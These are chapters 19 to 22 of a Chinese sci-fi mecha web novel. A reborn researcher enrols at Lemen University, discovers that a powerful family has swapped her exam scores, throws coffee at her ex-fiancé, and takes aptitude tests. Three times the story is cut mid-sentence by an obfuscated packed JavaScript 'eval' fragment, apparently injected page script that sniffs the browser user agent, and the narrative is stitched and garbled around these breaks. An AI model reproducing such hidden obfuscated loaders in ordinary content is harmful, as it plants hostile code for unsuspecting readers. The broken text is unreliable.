解锁者在星舰上曾经骇入控制系统，她找到陶影备用服务器的方法大概也不言而喻了。 一些灰色地带的技术手段。 陶影跟柏墨加上好友。 柏墨严肃地点头：“恒我随时等待你成为它的机师，如果需要，可以联络我的私人账号。至于你查到的那部分资料，请发给我一份。” “好的。” 有关开机甲的事，陶影并没有把话说死，毕竟以后因为恒我，还会跟柏氏工业有不少来往。 “至于资料，那些数据比较基础，大概派不上用场。你想要数据，不如问她。” 陶影指了指车研究员。 “她记得恒我每一个零件的尺寸。” 车研究员狐疑道：“老大的资料也告诉你这个了？” “是啊，服务器里存放了她写的日记，好厚一本，可以说我认识她身边大部分人。”陶影笑眯眯地，面不改色编出谎话。 “难怪，我就说你怎么对我和大龙这么了解……” 车研究员自己就是会写日记的人，所以完全没怀疑陶影的话，她低头沉思片刻，又抬起头来，两眼放光。 “日记能不能给我看看？” “不行，她特地在里面写了，不能给莱机所的同事，尤其是一位姓车的员工看。” 陶影慈祥道：“她说你们几位同事，总是在她的房间聚众看‘星火科学’系列节目，有点迷信，行为不太靠谱。” 车研究员反对：“那是十年前的事了，我现在都看谣言终结者的，我成熟了好吗！” ……不都是同一个类型的节目吗。 陶影面色麻木：“总之遵从她的愿望，我不能告诉你们。” “真的真的不能吗？我只是想推测一下偷走老大骨灰的小偷是谁！” “不行。” 不是陶影不给，她根本没有写日记的习惯。 那不是留下自己的弱点吗。 但最后拗不过两位同事，陶影头痛地按着太阳穴，举手投降。 “如果在日记里发现了陶影骨灰的线索，我会通知你们的。” 19. 第 19 章 陶影在身体恢复到正常状态之后，继续乘坐星舰，前往莱门市，这次因为有机甲小队保护，没有再出什么岔子。 雪茄型的星舰停靠在港口。 机场女声开始播报。 【本次航程已到达终点，请到站的乘客拿好行李，依次离舰——】 走下星舰的瞬间，站在舷梯前，熟悉的城市映入眼帘。 立体广告牌上播放着加西亚电子的广告，繁华又充满科技感，外地游客驻足在广告牌前拍照。 通往地面的电梯到了。 一行人齐刷刷地涌了进去。 直立式的透明电梯，外形是圆形的玻璃管道，比商场里的大型鱼缸更为透亮，可以清晰地看清外面的景色。 赫莉望着广告牌，发出惊呼声。三人组挤成一团，将掌心贴在电梯上，开始叽叽喳喳讨论切斯特星的先进科技。 陶影半靠着玻璃，看她们胡闹。 “真怀念，已经十年没回这个地方了。”车晓理感叹。 陶影的视线望向莱机所的方向——那里早已经是一片废墟，现在已经被商业区代替。 再看两位同事，大概是想起莱机所以前的样子，神色都有些黯淡。 陶影倒是很安定。 毕竟这十年对她来说是停止的，就好像昨天还在莱机所工作一样。 港口距离地面一公里左右，电梯在空中下行，到达地面，花费了十分钟。 门左右打开，陶影走到电梯边，等待所有人出来。大家的目的地不同，似乎应该在这里说声道别了。 赫莉、本杰明、索尼娅还在到了莱门市的新奇中，他们蹦蹦跳跳地坐上悬浮舰，打开窗户朝陶影他们挥手。 “小颖姐，没事找我们出来玩啊！” “嗯，有时间的话。”陶影答道。 虽然她接下来要做的事情很多，大概不会有时间。 悬浮舰升上空中轨道，以过山车的速度，飞速开走了。 车研究员回过神，这时候才想起来，她竟然一直没有问过学妹的名字。 “小影姐？你单名一个影字吗？” “新颖的颖，”陶影点头道：“我姓白。” “哦，哦。” 车研究员连连点了两次头，呆呆地盯着陶影的脸，随后看向莱机所的方向，显然被拉入了回忆中，情绪有些低落。 大龙不好意思道：“抱歉，她想起莱机所的事情就会……” “我知道。” 陶影静静站了一会儿，直到悬浮舰开走两班。 大概在五分钟后，陶影将行李塞到车研究员手中，说有事要单独离开，回来的时候，手里的咖啡托里放了两杯咖啡。 大龙有些疑惑，所以她刚刚说有事，就是去买了两杯咖啡？车研究员却突然眨了眨眼睛，接过咖啡。 “你……你。” 陶影耸耸肩：“第二杯半价，你们在莱机所的时候不是这样吗？” 车研究员又露出一副呆滞的表情。 “老大的日记里连这个也写着的吗？” “当然，不然我还能有什么理由知道？” “我又不是她本人。” 陶影似有若无地笑了声，抿了一口咖啡，随后从车晓理的手中拿过行李，踏上前往莱门大学的悬浮舰。 她没有回头，举起手挥了两下，当作是再见的招呼。没有太多离别的情绪，是因为知道总会再见。 “莱机所不会就这样消失的。” 她用两位前同事可以听见的声音说。 “——我保证。” · 切斯特星的港口就设置在核心的A区，距离莱门市只需要十分钟车程。 陶影没有在中途停留，直接去了目的地。 十分钟后，悬浮舰到达了莱门大学。 付完乘坐悬浮舰的200星币，账户里只剩几千星币，这点大概够陶影一个星期的花销。 陶影的钱，大多都花在了买身份ID和船票上，没剩多少了。 说实话，坐悬浮舰过来的这两百星币，对她来说也很肉痛，但她体质太差，也不可能走过来。 …… 早知道应该发挥学妹这个身份的优势，敲诈一下两位同事的，她最近还是太有良心了。等报完名，还得想办法挣点生活费。 陶影摇摇头，拖着行李，走到学校门口的时候，仰着头，用手遮住阳光。 金色的字迹写着“莱门大学”。 一如当年。 莱字上有一个填补过的小裂痕——是她当年开机甲撞出来的，当时赔了不少钱来着。 道路两旁种满银杏树，它们的年龄比学校的历史还长。 因为路上耽误了时间，前几天大部分人都已经报道完成了，所以并没有人排队，陶影刷了一下身份卡，填好表格递了上去。 负责的老师扶了扶眼镜，看向光脑上显示来的学籍数据。 “哦，机甲驾驶专业的学生！欢迎就读莱门大学，你即将开始四年……呃，美好的大学生活。” 说到美好这两个字的时候，负责老师似乎有些心虚。 陶影疑惑地指向表格上她填写的专业。 “您弄错了，我填报的专业是机甲系统。” “不不不，学籍系统里显示，你的专业就是机甲驾驶，你检查一下光脑里的录取通知书呢。” 陶影将背包放在脚边，点开光脑，而查询界面显示的赫然是…… 机甲驾驶专业。 看到陶影呆滞的眼神，负责老师拍拍她的肩膀。 “可能你填报的时候填错了专业，不过没关系，都是机甲沾边的专业嘛，差不多的。” 差不多？ 陶影眼前一黑，等回过神来，才发现负责老师一脸惊恐地拉着她。 “同学你没事吧？要不要帮你叫救护车？” 关掉光脑的心率警报，陶影回答“不用”，坐到一边的椅子上，深呼吸一口气，暂且平静了一下呼吸。 不能怪她激动。 众所周知，莱门大学的机甲驾驶专业，就是个合并来的二流专业，本校的学生嫌拉低档次，外校的学生更瞧不起。 这个专业根本没什么未来。 这都先不提了。 不是，哪怕不是驾驶系，但凡是其它跟机甲沾边的任何一个专业，她都能接受，但是机甲驾驶专业？ 她这个身体状况？ 机甲驾驶专业？ 再上一次机甲驾驶席，她会立刻去世。 陶影在离开第四星系的时候，明确确认过各种细节，绝对不可能是她填报错误，那么虽然可能性很小，也只能是莱门大学的学籍录入出现了问题。 她决定先解决这个问题，将背包挎在左肩，就朝办公楼走去。 “哎，同学，你慢点！” 负责老师看着陶影苍白的脸色，十分担心她会在半路倒下，本来想拦住，但起来的时候踢到了椅子，就没拦住。 片刻后，看着陶影的背影走向一条小路，她大声喊道。 “哎，同学，去办公楼不是走那边啊……” 但陶影根本没听见，只一昧地往前走。 旁边的老师听见她喊，也抬起头，她拍拍另一位老师的肩膀。 “没事，那边是条捷径，也可以去办公楼的。” “真的假的？” “我骗你干嘛？不过确实挺奇怪的。我都来学校三年了，才知道这件事。新生怎么第一次来莱大就知道去办公楼的捷径。” 老师疑惑地嘟囔，扶起椅子。 “估计她以前来过吧。” · 陶影紧急赶往办公楼，在和工作人员商讨后，并没有得出结果，那边咬死是她的信息填错，告知她不能更改。哪怕陶影出示了证据，也没把她说的话当一回事。 陶影调查了成绩，发现自己的分数被人调换了。对面是一个叫甘逸的人。 几十年前，也常有顶替偏远星系学子分数的情况。 不过后来，被一个神出鬼没的黑客组织捅出来了。 各星系的相关组织联合起来，重罚了相关人员，之后基本杜绝了这种情况。 毕竟涉及到教育公平。 没想到这么多年过去，还有人敢做这种事。 大概是欺负陶影来自偏远星系，又没有直系亲属，觉得她也没渠道反抗所以才选的她。 真是天选之人啊。 呵呵。 话说这个换掉她分数的人……甘逸，好耳熟的名字。 陶影看了一眼他的姓氏。爱荷华。 爱荷华家族？ 你说这个她可就不困了。 本来没想这么早跟他们扯上关系，没想到冤家路窄。 “所以说，这件事情是你自己的责任，学校这边没办法帮你处理。” 见陶影愣神，工作人员手里拿着文件咄咄逼人，一副想要逼退陶影的架势。 陶影意味深长地看了他一眼，没有再深究，离开了。 等她离开后，工作人员接通了一个电话。 “你好……是的是的，那名学生今天来了，她离开了，应该是放弃了。好的……” 工作人员挂断电话，松了一口气。 其实明眼人都能看出来这是怎么回事。就是分数被顶替了嘛。但这种事情，遇见了也只能认栽。 谁敢得罪爱荷华家族啊，他们可给学校捐了不少钱。 这位学生也怪可怜的，本来分数挺高，偏偏被替换成了莱门大学最不受待见的“那个学院”。 工作人员象征性唏嘘一下，转头又打开光脑开始刷社交网络。 · 莱门大学的机甲学院，有两个。 一个就叫机甲学院，内有机甲科学、机甲历史 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高大的女子一手提起她的行李：“嗯？我也住十四楼，你十四楼哪一间？” “1404。” “我也住1404！太巧了吧，”她想伸手过来和陶影握手，又忘了手上有行李，冒冒失失地把手收了回去，不好意思道，“我林别歌，机甲驾驶专业。” “白颖，也是机甲驾驶专业——小心撞到头。” 陶影出言提醒。 林别歌微微弯下身子，避开门框旁裸露的螺丝钉。 这要是被刮到岂不是破伤风起步？ 林别歌抱怨：“真是的，这门高度和状态都不符合消防安全吧？” “似乎是早年私下改建的校舍，本来高度就是按最低标准建的，年久失修门框变形，就更矮了——” “哎，莱门大学怎么这样，”林别歌哀叹两声，“我入学了才知道，这里是‘机甲特别学院’，少看了‘特别’两个字，感觉未来四年惨了……你不会也是被忽悠来的吧？” “差不多吧。” “你叫白影啊，那我叫你影子好了。你叫我小林就行。” 陶影本来想纠正说她名字叫“白颖”，林别歌弄错了同音字，但想想算了。也没什么影响。 林别歌人高腿长，先上去了，等陶影到宿舍的时候，她已经等了很久。 “怎么这么慢才上来……你腿怎么了？” 陶影爬了两楼，眼前有些头晕眼花，腿还不知道在哪里蹭出了伤口，林别歌这人性格非常热心肠，当即拿出伤药帮她处理。 她拿出的药箱里各类常见药品都非常齐全，跟她大大咧咧的性格有点不太相符。 “这是学校分配的药箱？” “怎么可能，就是我自己的，你看这个宿舍条件，”林别歌指了指墙上的霉斑，“他们连这个都不管，你还指望他们准备常用药。” 陶影翻了翻药箱。 “挺齐全的。” “哎，我在外面打工经常受伤啦。”林别歌包扎完，拍拍陶影的背。 “到时间了，我要去打工了，你吃饭的话，记得去三窗口，那里的东西勉强能吃。还有，五窗口那个阿姨量给得多，你要是吃得多，记得去找她。还有二楼那家……三楼……” 刚来学校两天，小林同学倒是把食堂摸得一清二楚。 陶影还没来得及说什么，林别歌长腿一迈，风一样地就消失在了宿舍门口。 宿舍是四人间，很简陋。 床头都贴了名字牌。陶影绕床走了一圈。 很奇怪。 陶影因为在路上耽搁了，所以到校时间已经很迟，是最晚的一批。现在宿舍内还有两张床空空如也。 三个名字，应该有三个人才对。 过两天就上课了，还差了一个人没来。 不会也是专业调换的受害者吧。 说到这个，她专业的问题还没有解决。 陶影坐在床上，捏着刚爬了14楼酸痛的双腿。 她干脆地用校内邮箱发送了一封邮件。 希望这封邮件可以在两天内给她一个答案。 20. 第 20 章 爱荷华家族领地内。 金发青年静立在门前。 他身形高挺，神色严肃。军装熨烫得一丝不苟，皮质黑色手套包裹着修长的手指。 长靴踩地，自带一股压迫感。 青年伸手敲门，但里面并没有回音。 几名仆人低着头，站在他身边，汗如雨下。 青年冷声道：“甘逸呢？” “小少爷他，他开车出门了……” “如果我没记错，他上个月才撞了人，正在家里关禁闭，他怎么出去的？” “这，这个……我也不太清楚。” 甘逸是当着仆人的面溜出去的，他溜出去的时候，仆人不敢拦，现在有人问，他们也一个字也不敢多说。 尤里斯和甘逸，一个是帝国上将，一个是家里受宠的小少爷，家族里除了家主，最有话语权的就是他们，得罪谁都不行啊。 气氛僵硬得有些恐怖，直到管家匆匆赶过来，仆人们像看到救星一样，松了一口气，赶忙找个借口离开。 管家擦了擦汗，凑上前：“阁下，您找甘逸小少爷什么事？” “让他为自己做的蠢事买单。” 尤里斯把手里的文件扔到桌上。 管家拿起文件，扶了扶眼镜，看了一眼文件内容。 是一封邮件。 一位自称“莱门大学无辜学子”的学生表示，她的联考分数被甘逸·爱荷华调换了。 她声称手里有证据，要约个时间和尤里斯少爷面谈。 “邮件直接发给您？”管家语气疑惑。 真奇怪。按正常思路来说，邮件应该发给甘逸的父亲，而不是尤里斯。 只有爱荷华家族内部的人才知道，甘逸的父亲没有实权，大部分事务都是尤里斯少爷在处理。 “看来这名‘无辜学子’对爱荷华家族内部非常了解，”管家点头，“而且邮件的措辞严谨，滴水不漏，不是学生能写出来的文章，背后肯定有人操刀。内容您查过了吗？” “查过了，属实。” 但就算不查，也根本不需要怀疑这封邮件的真实性。 尤里斯拧眉，一副头疼的表情。 “爱荷华家上下，谁不知道甘逸的水平？他根本就不可能考到这个分数。” 以爱荷华家的财力，只要捐栋楼，想读莱门大学，不费吹灰之力。能干出替换别人分数这种危险违规操作…… “不知道甘逸脑子是怎么长的。” 管家擦汗，这话他可不敢接。 犹豫了一下，管家说：“我有一个办法可以联系上小少爷。” 尤里斯冷脸道：“这件事情交给你去办吧。” 说完尤里斯转头就要走，管家在后面追问：“那这‘无辜学子’您还见吗？要不要我处理？” “不了，我亲自去，”青年上将冷笑一声，“我倒要看看她究竟想干什么。” · 陶影一觉醒来，就收到了尤里斯·爱荷华的邮件，说在约定的地方见面。 这个结果在她预料之内。 尤里斯最不喜欢被人拿着证据威胁，肯定会来。 她没什么反应，下床洗漱。 “嘟噜噜”吐掉嘴里的泡沫，手撑在洗漱台上，看向镜子里的自己。 左看右看，还是不太习惯这张脸。 太缺乏攻击性了。 感觉走在路上会被优先介绍“游泳健身了解一下”。 在旅游景点会被人不停拉着说“同学能不能帮我拍张照”。 陶影想起以前朋友评价她“笑起来是成熟大姐姐，不笑的时候还挺拒人千里之外的，要不是我一眼看穿你的本质，根本不敢上前和你搭话”。 陶影当时问朋友：“我的本质是什么？” 朋友毫不犹豫答：“脑子很聪明的神经病。” 神经病也挺好的，最起码能让人忌惮一下。 现在…… 陶影伸出手，露出自己的肱二头肌。 她曾在莱机所，趁下班时间，努力练出来的肌肉—— 统统没有了。 “……” 要揍那位未婚夫一顿看来是不太可能了。 算了，慢慢来吧。等做了体质改造手术，身体应该会好一点。总不可能顶着这个体质F的身体一辈子。 何况身体变了脑子没变，她照样可以做一个让人忌惮的……神经病。 陶影低头看向尤里斯发来的邮件，给睡眼蒙眬的林别歌打了声招呼，就出门了。 【下午三点，星际漫游咖啡店。】 · 陶影坐在咖啡店的角落，点了一杯冰莱式加舒芙蕾。 很快就传来店员小声的议论声。 金发碧眼的青年进来后，径直走向她的位置，坐在对面。青年点头，姿态中带着一种贵族的优雅。 “尤里斯·爱荷华。” 尤里斯少了几分当年的稚嫩，行事变得更谨慎了。 听说这十年，他从少校升到上将了？ 这速度挺快的。 陶影倒不怀疑尤里斯的实力。 相反，她非常肯定这位“未婚夫”的能力。 毕竟爱荷华家族在军方并没有什么人脉，不存在什么关系户直升。 尤里斯选择进入帝国第一军校，随后加入帝国军，奔赴前线，不是出于什么伟大的理想——而是为了军功。 为了他的家族辉煌，也是为了在那个家族中有一席之地。 看来尤里斯当年的愿望达成了，他取得了爱荷华家族的实质控制权。 陶影往冰莱式里加了半杯牛奶，一边漫不经心地搅着。 她能感觉到尤里斯的视线，一直在她身上停留，没有离开过，像在打量她究竟有没有威胁。 这点也没变。 陶影将杯子放回桌面，微笑道。 “我就不报名字了，想必你来之前应该调查过。” “你想要什么？”尤里斯单刀直入。 “让我换回原本的专业。” 尤里斯沉默了一瞬，双手交叠在膝盖上。 如果这名学生只是想要钱，那很好解决。 但如果要换回分数，就坐实了这件事情是爱荷华家族动的手脚。后续处理非常麻烦。 “除了这个，其它的都可以。” 他点开转账界面，手指将光脑移到陶影的面前。 “想要多少，你自己决定。” 陶影微笑着将光脑推回。 “这不是钱的问题。尤里斯少校。” “上将。” 尤里斯纠正了她。 “哦，是的，上将，”陶影更改了用词，语气略有点敷衍，“您作为帝国第一军校培养的顶级机师，想必也清楚莱门机甲特别学院的‘含金量’，恕我不能接受这个解决方式。” 尤里斯没有多说，直接转了五百万星币到陶影的账户。 他声音低沉：“你是聪明人，应该也知道，就算换回原本的专业，也不见得能有多好的未来。” “如果想从事相关的开发职业，爱荷华科技现在就可以给你实习机会。” 真是“循循善诱”啊。 陶影喝了一口咖啡。 一般人在这里应该就放弃了。 五百万星币，再加上爱荷华科技的橄榄枝。这是很多人这辈子都达不到的高度，尤其对这个年纪的学生来说，更具诱惑力。 但陶影不为所动。她顿了一下，态度依然很强硬。 “很诱人的提案，可惜我和贵公司的研究理念不太合。” “我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陶影拿过纯白的纸巾，擦掉手上的液体，还顺便好心地给对面的人递了一张过去。 “上校？” 他没接。 行吧，反正也不是真心递的。 陶影耸耸肩，收回了纸巾。她优雅地靠在沙发上，打量这位男士的样子。 哦——眉头跳了一下，上将大人看上去非常生气。 上将大人投来一个警告的眼神。 以陶影对尤里斯的了解来说，他的意思是：你再这样下去，别怪我不客气。 可惜，看来只能到这里为止。 陶影耸耸肩。再继续，就要被扭送警局了。 咖啡浇脸应该挺烫的。 但这人应得的。 陶影最后一次见到尤里斯，是在死前十分钟。 莱机所被火光吞没，火焰燎过陶影的身体，她踉跄着，爬上一楼，冲到大门前，却被门口扑面而来的大火堵死。 陶影步步后退，背脊贴上冰冷的玻璃。 外面似乎传来说话的声音。陶影转过头，就这样隔着一层玻璃，和尤里斯对视了。 火光映照着尤里斯碧色的瞳孔。 他没有动，也没有说话，就这样静静地和陶影对视。 两个人谁也没有意外。 然后尤里斯转过头，下命令说，把大门再锁死一点。 “……” 陶影从回忆里抽身，面色冷漠，重新看向对面坐着的上将大人。 那时的火可比咖啡烫多了。 21. 第 21 章 尤里斯光洁的额头，淅淅沥沥地流下棕色液体，看上去脏兮兮的，非常狼狈。 店员和隔壁桌的客人本来还处在震惊当中，这会儿似乎是终于反应过来了，忍不住发出惊呼。 “她竟然敢泼尤里斯上将！不怕被星警抓起来吗？” “上将似乎没什么反应……他掏出纸巾把咖啡擦掉了。什么情况？” “气氛怪怪的，看上去像是上将理亏。” “不会是是情感纠纷吧。” “不像，上将不是一直忘不掉他那位前未婚妻吗。甚至和家里闹翻了。” “你俩少看点八点档吧，陶影都死了十年了。” 陶影：“……” 尤里斯这个深情人设倒是装得挺像，她都死这么多年了，竟然还有路人记得他们订婚的事。 怕不是演着演着自己都信了。 尤里斯起身，明明被泼了咖啡，一身狼狈，但仍旧没有失掉那副高贵的姿态。 “结束了？” “是的。不好意思，年轻人，气血比较旺盛，容易上头。您不会和我一个学生一般见识吧？”陶影微笑。 “不好意思？” 尤里斯看了眼没有一点歉意的陶影，眼神中全是冷漠。 果然还是个学生，处理问题的方式这么冲动。看来之前推测她背后有人操刀，是他多想了。 尤里斯走到柜台结帐，正要出去，陶影像是想起什么，又跟上来。 “对了，还有一件事，就当是我单纯的好奇吧。” “刚见面的时候我就想问了，你那位前未婚妻——哦，就是陶影，她的骨灰在哪里？听说她的尸首原本是你在保管。” 尤里斯此刻终于面色一黑。 “不知道。” “难道是被偷走了？偌大的爱荷华家族，不会连一罐骨灰都保管不好吧？” “哦——也不对，说起来陶影只是和你订婚，你好像本来也没有权利保管她的尸体。” “……” 尤里斯离开了，脚步有些匆匆。 陶影一边微笑，一边又叫来店员点了一杯咖啡。 咖啡因让她的大脑清醒了一点。 她双臂交叉，指尖轻敲手臂，低头思考。 莱门大学转专业，对课程学分要求非常高，尤其是从机特学院转到普通学院。 想转专业？先拿满绩。 想拿满绩？你转专业呀！ 死循环了朋友。 这机甲驾驶专业……看来只能硬着头皮读下去了。 早知道再要五百万精神损失费。 陶影心里刚把甘逸剁成了十块八块的，光脑突然传来嘟嘟的响声。 低头，是车研究员的新消息。 【那个，老大的骨灰去哪儿你有头绪了吗？】 陶影敲了下键盘，回：“你那么执着陶影的骨灰干什么。” “那个，万一有人拿去提取DNA……” “会干这种事情的也就只有你们了，星际伦理法了解一下。” “老大的日记连这一步都预测到了吗？”车研究员震惊。 陶影：“……” 车研究员的脑回路有时候挺清奇的，着实不太像一个成年女性。 算了，先说正事。 “骨灰的事，我找到线索会告诉你的，现在有个忙需要你帮。” “什么？你说。” “你有最近二十年星际联赛的数据吗？比赛过程，机甲型号，参赛选手，全方位的数据。” “有倒是有……我好几个硬盘存着呢。现在发你吧。不过你要这个做什么？” 车晓理是机甲狂热粉丝，每年的大小机甲比赛她都会去现场，保存全方位录像，不同赛区到处跑的情况也有。 发过来的数据果然非常详尽，甚至还按学校分门别类，陶影一边检查数据，心满意足吸了一口咖啡，随意道。 “反正有用。” “你不会是打算参加星际联赛吧？之前医生不是说你的体质要谨慎吗？而且星际联赛在海选阶段，只允许使用官方提供的机械机甲——” 车研究员话说到一半，但陶影理解她的意思。 机械机甲和知觉机甲不同，对体质的要求非常高。她现在的体质，参加海选基本上没有赢的可能。 毕竟海选阶段，为了提升公平性，避免装备碾压，是不允许使用知觉机甲的。 “我知道。” “那你还！” “一切皆有可能嘛。我只是略微调整一下人生规划。” 那头车研究员小声嘟囔。“你这听上去不像是略微调整”。 “话说，你的体质手术怎么样了？补贴申请到没？没有我去帮你问问。我好歹也是莱门大学的毕业生，有门路的。” “不用，学校补贴的钱够用了。” 其实机特学院能申请下来的补贴比正经学院少，不过。 陶影翻看账户余额。 加上今天这五百万，做体质手术，肯定够了。 钱对她来说倒不是什么大问题。 说来可能有点欠揍，但她打小就非常擅长挣钱。 那头传来叽叽喳喳的声音，车研究员似乎是在工作中摸鱼回陶影的消息，她小声对着这边说： “那就好。你要是手术需要人陪同，记得叫我。我先去工作了，机甲方面有什么问题也可以问我，有问必答。” “那就提前谢谢你了。” 陶影挂断电话，联系上第一星系基因手术最顶尖的医院，预约了体质手术的检查。 回到学校，已经是凌晨十二点。 没想到“机甲特别学院”各方面都挺特别的，宿舍楼竟然有门禁。陶影敲了好久的门，才有一个在空中浮浮沉沉的菱形智能体，飘过来开门。 “半夜开门，收费两百星币——？”身边晚归的学生看到智能体手里的标牌，骂骂咧咧给钱，“好的学校只管学习，差的学校什么都管。还收钱，你收这么多钱就不能把电梯修修？” 陶影交完钱，转头一看，果然，电梯还挂着维修中的牌子。 又要爬十四楼？ 陶影看着仿佛没有尽头的楼梯，微微叹气。 她思索片刻，转过身，敲两下旁边的同学的肩膀。 “同学，我出两千星币，能背我上十四楼吗？” 那同学刚交了两百星币，乍被人搭话，语气中有些不耐烦，但在反应过来陶影说了什么之后，眼神一亮。 两千星币，是她一个月的饭钱！ 再一看，这人瘦瘦弱弱的，体重很轻，这桩交易对她来说简直不要太划算。 她生怕陶影反悔，迅速把人背了起来。 “成交！” 回到1404，灯关着，陶影困得不行，半闭着眼睛洗漱，爬上床就沉沉地睡过去。 半夜突然醒过来，看到床下亮着灯。 现在已经两点了，林别歌是刚回来？ 这么晚是出去干什么了。 林别歌没有注意到陶影醒着，小心翼翼地回到自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“就是，连海选都过不了吧。” 大家嘴上虽然不满，但为了学分，还是开始找人组队。 老师看上去也很困，急着下课，在讲桌上齐了齐书就打算走，脚迈出去半步，又突然想起什么，上半身探回教室。 “对了，下午会有老师带大家统一进行精神力和体质的测试，大家不要缺席。” 教室内一时间充满了兴奋的气息。 “我还没做过精神力测试呢。” “听说十四岁就可以做了。不过青春期影响挺大的，所以大学测试才稳定。” “要是我测出来是C怎么办。” 精神力和体质决定了人的未来，收入越高的职业，对这两项测试的结果要求越高，大家对测这个很有热情。 可以说是兴奋中夹杂一点担忧。 陶影倒是对这个东西一直都兴趣缺缺。 基因改造之后体质也会变化，结果对她来说没有什么参考性。 陶影整理了一下课程内容，转头看见趴在桌上的林别歌醒了过来——她睡了一上午了。 陶影这几天算是发现了，她这位室友的日常生活就是三点一线。 吃饭，睡觉，打工。 吃饭吃得尤其认真。 就比如现在，前一秒，林别歌还睡得非常死，但在下课铃声响起的时候，她立刻像是接收到了什么通知，蹭地一下从椅子上站了起来，一溜烟朝食堂冲过去。 陶影都还没来得及叫她。 但今天的林别歌，跑得尤其快，总有种逃走的感觉。上课的时候也像是在装睡。 就那么怕被问为什么半夜才回宿舍？ 陶影摸摸下巴，微微一笑。 她不问，可不代表她什么都不知道。 22. 第 22 章 虽然大概知道林别歌惹上了什么麻烦，但陶影打算等晚上再说。 毕竟下午还有课。 吃完午饭，陶影来到操场。 午后的阳光暖融融的，同学们都兴奋地聚集在一起。 陶影坐在一边晒太阳。 驾驶课的老师是名女性，叫姬亦。 陶影一看见她就觉得眼熟，但又不记得在哪里见过。直到姬亦转身，露出项间那条长长的疤痕。 她想起来了。 姬亦，亚克联邦元帅。 曾带领一〇二九机甲军团，歼灭虫族超过一百五十万只，其中S级7头，A级3367头。 指挥、作战，各方面实力都很硬核。 陶影去亚克联邦做机甲技术交流的时候，曾见过她。 但在一次战争精神力受损后，姬亦因伤退役，后来就没人知道她去了哪里。 原来是隐姓埋名，当起了……一名普通大学教师？ 陶影若有所思。 姬亦把精神力测试的仪器从仓库里拿出来，蹲在地上，开始调试仪器。 助教：“大家排好队，测体质来我这边，测精神力去姬老师那边。” 同学们一边等，一遍小声蛐蛐。 “不是，测试仪就一台啊？这得测试到什么时候。” “听说买一台挺贵的，我们学院比较缺经费吧。” “就是，你看，专门维护仪器的人都没有，还让老师调试机器。” 姬亦站起身，手里拿着记录平板，一脸懒洋洋地说明注意事项。 “看到这个透明舱了吧，进去之后，把手放在仪器指示的位置就别动了。” “分两队，快点。早点测完早点下课。” “……” 姬老师很没有兴趣上课的样子。 陶影先排在了体质测试这一队。 几个身体强壮，一看体质就很棒的朋友，摩拳擦掌上去就要测。 进入透明舱后，镶嵌的核心发出一道道蓝光。 “B级。” “B级，下一个。” 大部分同学都是B级体质——毕竟这里还是机甲学院，应该不会有几个体质差的人想不开想来开机甲。 偶尔出现一个A级体质的同学，大家就开始欢呼起哄。 林别歌测下来体质是B+，在众多同学当中也算中等偏上了。测完就有好几个同学来找她课程组队。 排陶影前面的同学拍拍她的肩膀，安慰道。 “别紧张啊，这个算不了什么。就是常规测试。” “我没有紧张。” “那你脸色怎么这么白。” “天生的。” 好心同学：“……”行叭，她不紧张就好。 陶影是最后一个测试的。 仪器一阵闪光之后，仪表盘卡卡的，最后停在了C、D的交界点不动了。连续重启了好几次，都一样。 怎么回事，仪器出错了？ 助教狐疑地推了一下眼镜，绕舱三圈检查了一下，确认没问题，招手让陶影上去再测。 陶影瞄了一眼仪器表，叹气。 “老师，量程调低一点吧。” “？” 助教不懂，但眼神清澈的助教决定照做。 果然，调好量程之后，仪器就没有再报错了。 陶影走了出来，只见大家好像看怪物一样看着她。 助教的神色中带着一丝不可置信。 “这，这个体质，我从来没有见过……” “F？体质F？” “A、B、C……等下，A和F之间有几个字母来着？” “我好像看到她身上的尸斑了。” “我九十岁奶奶的体质都有D……” “听说体质每降一级，相当于被捅十刀。” “你的意思是说，她的体质相当于八十岁老奶奶接连被捅二十刀？！” 同学们后退一步，眼神中惊恐掺杂着一丝钦佩。 ——身残志坚！ 陶影熟视无睹，面不改色。 人不会因为早就知道的事实意外。 她挪了挪腿，换了一个队伍排，继续去测精神力。 姬亦提醒：“走入测试舱，就不要动了。精神力仪器会连接你们的精神力。在测试中，大脑如果有被侵入的不适感，这是正常的，不用太紧张。” “孙荡，C级。”“周真，B级。”“卢绮灵，C级。” “……” “林别歌，C级。”“下一个。” 精神力的测试，结果就普遍低于B级了。 有同学夸下海口说自己精神力肯定A，测出来只有C，他先是尴尬，随后非常质疑仪器的真实性，姬亦于是Call来了维修师。 同学还想质疑维修师的资质，维修师亮出了她一串维修证件。 资质都足够去军方工作了，简直亮瞎眼。 机器没有问题。 最终，姬亦拍拍一边的桌子，打断了讨论。 “哪来那么多仪器出错，精神力C就C，接受现实，下一个。” 大部分同学测出来都是C级，很少有几个B级的，A级更是一个都没有。 这时候大家几乎都已经测完了，轮到陶影，一群人在那里凑热闹围观。 “她是刚刚体质F的那个？” “那不完蛋了，体质差的人，精神力也好不到哪里去。身体健康精神才能健康啊。” “她精神力不会也F吧？” 要不说学校里最受关注的，一般是成绩最好的，和成绩最差的那一批。 陶影——作为资质最差的那一批，大受关注。 陶影把手放在仪器上。 精神力触手的侵入的感觉很诡异。 这种老式仪器，可以说没有什么舒适性可言，能用就行。 陶影的精神力还在疲劳状态，需要修养，对任何精神刺激都非常敏感。 陶影下意识用精神力把触手弹了出去。 仪器发出了滴滴滴的报警声。 大家：“……” 怎么仪器每次轮到她的时候都出错，不会又是因为精神力太低要调量程吧。 姬亦“嗯？”了声，眉毛上挑，无聊的眼神终于有了点变化。 好久没有见到有人能凭精神力击退仪器内的智能体了，这学生反应还挺快的，精神力应该不错。 她凑过来敲一敲舱门。 “放轻松，同学，它没有攻击性。” 旁边有精神力D的同学小声问：“攻击性是什么意思？有什么东西会攻击吗？” 助教解释：“精神领域相接的瞬间，测试仪会对人的精神力会产生冲击，不过因为非常微弱，大部分人是感受不到的。” 